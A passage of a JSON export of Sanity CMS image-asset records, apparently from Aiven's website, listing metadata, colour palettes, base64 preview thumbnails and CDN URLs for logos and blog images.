ZMB+HZSaI2l42//x2Ju9CPJdTOyg+TqUqplxfhfjzBirAZNAIFGm+TOaPQ0THBJl4myDqXWZWldsX/e/z6XxbXsy7z+9MR0ZzQi+eNFDC+6UaAjll/dxgCo0O+P7Zn+aKrbizEm1NZQup53R7Orm19Xtc1ueyfM/09d3ThrawilbKI3xzfi5jIp9S1wA8GSlM5pN52/9yVw8Gw2vH36+/Lt//jv//S7fPJ5fTiZPr4O751ipYUFIiOIzHZm7fkiP76LSN8DkwPx4NpEXyZyAxZgsU6/Uu2xFYsqtfKlRqDabfZmXBhDFWjE6xNXJk4tgWYIKrWClB6xpXSq9e8Pk3TB5tnd9+/aQzY3vOcKHPjxEpHMFQWx1stWGN5p0EGkwWwVzoispOFKil20BKoNn3ehWGz1bu16DxW+2BSzOkNEedAWOcwWhe3HZH44TOd7qx+EUH6m2kGLTnRXtScFK1f4DKx26jhNNOVkAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#344556","foreground":"#fff","population":6.87,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#041c31","foreground":"#fff","population":5.95,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#344556","foreground":"#fff","population":6.87,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a0b3ba","foreground":"#000","population":2.08,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#d8a0aa","foreground":"#000","population":0,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#687a84","foreground":"#fff","population":6.82,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#943c4c","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405.png","path":"images/sczeoy4w/production/a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405.png","sha1hash":"a90c401ee8046c75bbe29b91dc036459d7ac0922","size":171351,"uploadId":"dvw9tr6yqgwLMxI53PbdUxg3nEBFrLyR","url":"https://cdn.sanity.io/images/sczeoy4w/production/a90c401ee8046c75bbe29b91dc036459d7ac0922-752x405.png"} {"_createdAt":"2022-06-15T20:01:38Z","_id":"image-e24a247dc1655dbdbd343b21e041197fd5649b8d-752x405-png","_rev":"ecafYeJdFUSoqAVEkXNQUi","_type":"sanity.imageAsset","_updatedAt":"2022-07-13T00:52:13Z","assetId":"e24a247dc1655dbdbd343b21e041197fd5649b8d","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MwIq3}~A%0E3j[s:s.jaWCjtoes:oeayf6","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACmUlEQVQokUXR609ScQDGcf6IinPO7xw4cj1cDsfDHZFMTcjZ2jDW2tBX1aREEbF54TBXmiWOWyZorrQIs03xlooXlKWWytbWdLX1os0uQ6z+h0Zra/u+/ex58bB+boQKZSInmUg+E85vhvMboXw6mE0wrjqzsAiD2WwUgQAMAQQBGAowFIIhDSVmHFbW78X+XzN9R/MPPs7eP5zt+7LkP04HTzZD2QTTbP+PURgCAABuEcB5MIpqKIK5WcvKTfd+S3R/mryzN9G9E/d9mOr5ujKQ3wzt/8McGGKjCFzwAKBcHOPxARfX0jLGUct6H2cyw571Yc/qSNvikHs56t6Ne49S/mzC11x3QSQSwjgPK+LzcFTOh5ViQEs4QgGuV5MF/OZp+0zYOTngSIacyVDjpN+Riro/z/cVluurhSQFkRpAqiVyopJGbNpTl3WnDTLYpJYxDVbWu3hXevR2KtaairUuRVuWhlp2X3iPlv0FXFctJkmUVHFpnYxWVKo4Nt2ZKwb2OQVSoZUW8PZ459qIZ2XYszDYnAw2Lkfdh9M9uXRwP8G47BZKLqYouV6nMuqV5TqZpURy0SSv0EotJtrnqGXtJXypWOvCQ9dcpOn1I1f6cVt2wncwdXdx0HXDVk5JBXpaWmVUVpUqK41Ky1l1TYWu3ECbTarCVW/j3qlA4/N711/6HTNh51y4aS7SlAw6Y1319poSgs8V8rgKQqAgBCQhoGUiDSUplonKdApvg5V1MN2zNdaRHm3bGuvYeda5Pd65NdaRedL+qt9xzVomxDEYYmMAwQDCQRERHy+Wi2mSMJtU3bdsrON0KLcezKUDfwvm1oM/1gLfVwO7cW+L3SwqwmAIQgECkAImCb5RTZZqqUvnDb2uq38AhpEFp2tFtawAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#254556","foreground":"#fff","population":0.6,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#1d6784","foreground":"#fff","population":0.09,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#c8b197","foreground":"#000","population":1.09,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c8b197","foreground":"#000","population":1.09,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#fcbc8e","foreground":"#000","population":0.27,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#b58f60","foreground":"#fff","population":0.1,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#cd7919","foreground":"#fff","population":1.03,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"e24a247dc1655dbdbd343b21e041197fd5649b8d-752x405.png","path":"images/sczeoy4w/production/e24a247dc1655dbdbd343b21e041197fd5649b8d-752x405.png","sha1hash":"e24a247dc1655dbdbd343b21e041197fd5649b8d","size":274719,"uploadId":"0Ft5nu3eVIMGkJgd2qdnw4R1TOtT1S7p","url":"https://cdn.sanity.io/images/sczeoy4w/production/e24a247dc1655dbdbd343b21e041197fd5649b8d-752x405.png"} {"_createdAt":"2022-06-15T20:01:39Z","_id":"image-11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405-png","_rev":"QRl2cGoCgj0FlAhkRrhWDA","_type":"sanity.imageAsset","_updatedAt":"2022-09-08T16:15:47Z","assetId":"11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1","extension":"png","metadata":{"_type":"sanity.imageMetadata","blurHash":"MEL4yv*0R4Dix^~Wx]Di%M-;~qM{RPofof","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.85679012345679,"height":405,"width":752},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAAClUlEQVQokRXLe08SAQAA8Ptebc2tWprkY9NZIKKG5dx8LlpuapmZr1LbmBP14MCT1x3HccAdHBx4yuvg7njDCQJltkSyz9Dcfv/+gJSYEzme5/h4UoylRE7MpQvlglQtVWpStS5dNi7qP6qNq1rjqpjL0xbI/Fnj2ttIx89//roGUkkhQweSJEX7ggTl9zGnCSGTL1eKF5elSq1cqZerdanWkErlpM8Nbyx9mRjanBsnjw9r+TQQi3EhnCBtiNNJoLibIP3niVSmIBWk6r1yNVeqCJk8Fw6E9N93p0cmex4vDvfbv31i7SbgNBK32h2gHoKOzbANQZwEw0aFbDFbusgUJTFXPItxiB092t7cW9QsjCk0Lzq3Z8eO1pe/LrwHwpE46vKcWBELgtkcuNNNBk8jCT7DZwupdD7ERkAQmn/7Tq0YfCWXz09PGrbXoJ2NJY1mTDUMMGdRFPdYEMxsd5xYESvqRHC3y+unw+dBNmqA4NnJmb6unqdtjwZ6+3RabV7kGdKrmZrp7pABPoaFreiB3rgPQvug4dBg0oGQDoTMCIa6vJtbO6rBoY4n7W0PHg7LlR4cbzVvyoX8+vJK55N2wE2HjFbk0AhDZqsdd7sp2umhbBiOeUiCokEjvPhhWa1+I3v2XK0aIV3EXat51agfaPf6unoBjKSPTGbtAaiHLf4QK2QLYq6Y4MVYSohwqUCYhS22ldU1+cvBUeUwjqJ/W82b39dmo2loQA5g3oDJ5tAZjg0nVm+AiXB8QshEkwIbSzBnUSoQMllsH1dW+/sHVArlfb69ubttEhj2WjUK4BTj8NIIQSEEiXl9OEUTviBO0XaX14zietiytaudmtPIZN0qhZLAsFbzz7/WbdBHTY9P/AcEpLQSsWP7oAAAAABJRU5ErkJggg==","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#56423d","foreground":"#fff","population":1.08,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#3f2110","foreground":"#fff","population":0.23,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#906c5d","foreground":"#fff","population":1.63,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b4d6d6","foreground":"#000","population":0.01,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e5a688","foreground":"#000","population":0.94,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#906c5d","foreground":"#fff","population":1.63,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#2975a2","foreground":"#fff","population":0.05,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405.png","path":"images/sczeoy4w/production/11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405.png","sha1hash":"11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1","size":152548,"uploadId":"O4S50wzj09fmxw0CTWShKgzsWSnsry8R","url":"https://cdn.sanity.io/images/sczeoy4w/production/11cd9b9c8bcfc0c6e5a4aea829c58e1fd69515e1-752x405.png"} {"_createdAt":"2022-07-06T08:12:05Z","_id":"image-24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64-svg","_rev":"oamrAPLmQLQjd9jh7h95be","_type":"sanity.imageAsset","_updatedAt":"2022-07-06T08:22:39Z","altText":"Aiven for OpenSearch® logo","assetId":"24f8bc050ae61d964c383f4509c62c6cb865d6ef","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#241420","foreground":"#fff","population":0.05,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#113e5c","foreground":"#fff","population":1.34,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#0cb1ea","foreground":"#fff","population":8.5,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#c4dcb4","foreground":"#000","population":0.02,"title":"#000"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#60b5f5","foreground":"#000","population":1.15,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#4c989d","foreground":"#fff","population":0.24,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0cb1ea","foreground":"#fff","population":8.5,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-open-search.svg","path":"images/sczeoy4w/production/24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64.svg","sha1hash":"24f8bc050ae61d964c383f4509c62c6cb865d6ef","size":2307,"title":"Aiven for OpenSearch® logo","uploadId":"VkcPzeZXsvyiDa9SJh9WRDdeyG2VMHJx","url":"https://cdn.sanity.io/images/sczeoy4w/production/24f8bc050ae61d964c383f4509c62c6cb865d6ef-64x64.svg"} {"_createdAt":"2022-07-08T09:32:01Z","_id":"image-30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64-svg","_rev":"qkpX9b3U0TpOGFQp9n1hqT","_type":"sanity.imageAsset","_updatedAt":"2022-07-08T09:34:46Z","altText":"Aiven for M3","assetId":"30db7a5b09c94a616a5ff1e52181f92b40fade73","description":null,"extension":"svg","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":64,"width":64},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,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","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#242c3c","foreground":"#fff","population":0.02,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#044c74","foreground":"#fff","population":0.02,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#227bc2","foreground":"#fff","population":8.23,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#a1acbc","foreground":"#000","population":0.07,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#7dbff3","foreground":"#000","population":0.51,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#6b90b1","foreground":"#fff","population":1.61,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#227bc2","foreground":"#fff","population":8.23,"title":"#fff"}}},"mimeType":"image/svg+xml","opt":{"media":{"tags":[{"_ref":"oamrAPLmQLQjd9jh7h8yUw","_type":"reference","_weak":true}]}},"originalFilename":"logo-m3.svg","path":"images/sczeoy4w/production/30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64.svg","sha1hash":"30db7a5b09c94a616a5ff1e52181f92b40fade73","size":2199,"title":"Aiven for M3","uploadId":"n2m3j7YVRjMbuIlY3v8qcb33TIBR3dvm","url":"https://cdn.sanity.io/images/sczeoy4w/production/30db7a5b09c94a616a5ff1e52181f92b40fade73-64x64.svg"} {"_createdAt":"2022-09-30T19:31:29Z","_id":"image-cb2046b30eb0bd2d64fb84098b333aa70b5798ff-1567x844-png","_rev":"XMqVxILwpPMz4xYxc8I6ye","_type":"sanity.imageAsset","_updatedAt":"2022-09-30T19:31:29Z","assetId":"cb2046b30eb0bd2d64fb84098b333aa70b5798ff","extension":"png","metadata":{"_type":"sanity.imageMetadata","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1.8566350710900474,"height":844,"width":1567},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAACWklEQVQokT3O6U/aABjH8Qq0QD0mTKjKmNCDHrQIbVWKorCpS8wMCC2FXvQAtsTMsUW3GbcYlWQy57Y/eUGXJZ8Xz5vvLw8wT7bjnBHnTCRnLrBGlLWirB3h7FjeW8h7Uc6JcHY0348Kx9OFY392MMX0/wOSgiO8+lA+Oq/IFxuHn9YOz4XD8/zB5+LRN0m54uuXhdql2LwW5Zv03pfp/NsAaQcy1iMgtd7bkb/Wej9eu+N9Y7RrjKraTaVzs++MDwZ/9rzfVfu+MvFTlEcr1dO5XA/KmBChQ7gGJNd6Uv3ipfl9Ux2V1eut1lWxdV3Wb6vdu1331wvnvmzelbRxSR+XtNtc/Wqh+B6kXfChB2Y4D9k4XtoaxkpDRDpBpHex0nBx+zRROUtWz5KV0+TOx2fl4aNF6WRm9U2Acv7FfsoJUK6fdv2056c9H92byg4grj8vuPF1e1G0lnktsaomuFaCVZezaoxuT2e0IN4JYm0AwjVwQgcJI5CxfJQ7xfRDud5S0cpsa+y2WthqCFKNX6/xYl3gGyzXXCaVCKbMojIAozKMymFMDeLapCe7fsqBGGc2ZyGCTpZaQvlobbMmSA1hQxZFhV9VsoyCZloxXAWiWAMhW/GsPkdpIbwdxFQI70DEZAimdCSnpgsyWpBTfHuFN57nzVTOTLFWguk+oRwAIRpptr1S6D7NajAmh9PNEKoEsc7DF3aQtmG6C9MWzNgw44YZB6ZdmHZDtAvSHjCHNiOEMk+qM7gCo81wuhlOyyG0BRK6j/IAZuCj+37SBjMmSBggYUAPHu+/wQSaGQ1CK9IAAAAASUVORK5CYII=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#2a2956","foreground":"#fff","population":1.15,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.71,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#042c64","foreground":"#fff","population":30.71,"title":"#fff"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#b7bfdb","foreground":"#000","population":0.24,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#9fb3d4","foreground":"#000","population":0.79,"title":"#fff"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#945c9c","foreground":"#fff","population":0.01,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#c27c11","foreground":"#fff","population":0.08,"title":"#fff"}}},"mimeType":"image/png","originalFilename":"Graph_your_data_assets_with_the_metadata_parser_blog.png","path":"images/sczeoy4w/production/cb2046b30eb0bd2d64fb84098b333aa70b5798ff-1567x844.png","sha1hash":"cb2046b30eb0bd2d64fb84098b333aa70b5798ff","size":29250,"uploadId":"rgr1onyTGVH8amRQltk4lVBrbHc0x064","url":"https://cdn.sanity.io/images/sczeoy4w/production/cb2046b30eb0bd2d64fb84098b333aa70b5798ff-1567x844.png"} {"_createdAt":"2022-09-15T12:56:00Z","_id":"image-86d744eb8038be13a63480261159888a9a7f05ad-1440x599-jpg","_rev":"StyfnzRSyhTCbsBlPK2X0F","_type":"sanity.imageAsset","_updatedAt":"2022-09-15T12:56:00Z","assetId":"86d744eb8038be13a63480261159888a9a7f05ad","extension":"jpg","metadata":{"_type":"sanity.imageMetadata","blurHash":"M7Q,Xp0Y^x%NIs?woeodRnodazj@azazj@","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":2.4040066777963274,"height":599,"width":1440},"hasAlpha":false,"isOpaque":true,"lqip":"data:image/jpeg;base64,/9j/2wBDAAYEBQYFBAYGBQYHBwYIChAKCgkJChQODwwQFxQYGBcUFhYaHSUfGhsjHBYWICwgIyYnKSopGR8tMC0oMCUoKSj/2wBDAQcHBwoIChMKChMoGhYaKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCgoKCj/wAARCAAIABQDASIAAhEBAxEB/8QAFwABAAMAAAAAAAAAAAAAAAAAAAMECP/EABoQAQABBQAAAAAAAAAAAAAAAAABAgMEEWH/xAAVAQEBAAAAAAAAAAAAAAAAAAADBP/EABcRAQEBAQAAAAAAAAAAAAAAAAAxAQL/2gAMAwEAAhEDEQA/ANGpcendyOAs6gsq2AEj/9k=","palette":{"_type":"sanity.imagePalette","darkMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0f3889","foreground":"#fff","population":0,"title":"#fff"},"darkVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#0d3077","foreground":"#fff","population":0,"title":"#fff"},"dominant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":68.17,"title":"#000"},"lightMuted":{"_type":"sanity.imagePaletteSwatch","background":"#0f3889","foreground":"#fff","population":0,"title":"#fff"},"lightVibrant":{"_type":"sanity.imagePaletteSwatch","background":"#e4ecfc","foreground":"#000","population":68.17,"title":"#000"},"muted":{"_type":"sanity.imagePaletteSwatch","background":"#0f3889","foreground":"#fff","population":0,"title":"#fff"},"vibrant":{"_type":"sanity.imagePaletteSwatch","background":"#195de5","foreground":"#fff","population":0,"title":"#fff"}}},"mimeType":"image/jpeg","originalFilename":"bg-indigo-split.jpg","path":"images/sczeoy4w/production/86d744eb8038be13a63480261159888a9a7f05ad-1440x599.jpg","sha1hash":"86d744eb8038be13a63480261159888a9a7f05ad","size":6216,"uploadId":"YjAqj8rA2Jq76pNpVqTlqg3Qkho7iBib","url":"https://cdn.sanity.io/images/sczeoy4w/production/86d744eb8038be13a63480261159888a9a7f05ad-1440x599.jpg"} {"_createdAt":"2022-08-15T15:12:04Z","_id":"image-76cf7377b7a4f8896aeabc24327b91cf78d9d44b-48x48-svg","_rev":"rNS8YJd9MRCX8QHFL8TAJV","_type":"sanity.imageAsset","_updatedAt":"2022-08-15T15:12:04Z","assetId":"76cf7377b7a4f8896aeabc24327b91cf78d9d44b","extension":"svg","metadata":{"_type":"sanity.imageMetadata","blurHash":"eJG*m;-:00D*x:xtoeRQj[t700WB_JoeITRkRjtQt6M|E0IVot%foy","dimensions":{"_type":"sanity.imageDimensions","aspectRatio":1,"height":48,"width":48},"hasAlpha":true,"isOpaque":false,"lqip":"data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAUCAYAAACNiR0NAAAACXBIWXMAAAsTAAALEwEAmpwYAAAFOElEQVQ4jWWV6VNTZxTGLx/kUz/h3wAJmyKiljIqUCA346i1Tq0LkI0lgaJsuRmlWjWRcXCZTltnqvfeJPdNgOAQQcGlLrijYmuloKyiYgBZJCwmmDac07mR2Np+eL/+5jzv85znUIxMoPQ0oQwZFqosXQgpTydhZWkkpTRVMBYnCy07V1tdRUnWucJEy1zBKsuQdoX5el682ZQTx6dqlvCL1TFcSE7MSUoZyVIKKUdRBppQu786STEyEsrQRKLPILryNMFZmir0liQL7l1rBF9RknW+MNEyr1tp9uUvN0/lLTP35izlz2hi+QJVDCdVRXOhGz6pohRRHEWVZZAgLI6hiUkvI+36DOIpSyNYnCzgztVWLEqyYvFagoysFkuS7ahNsGDOUt6jieXbVdFcpTKKW6aQsqG5KywUZZDbQsTJRJhBbuvbt9nhP57fhMe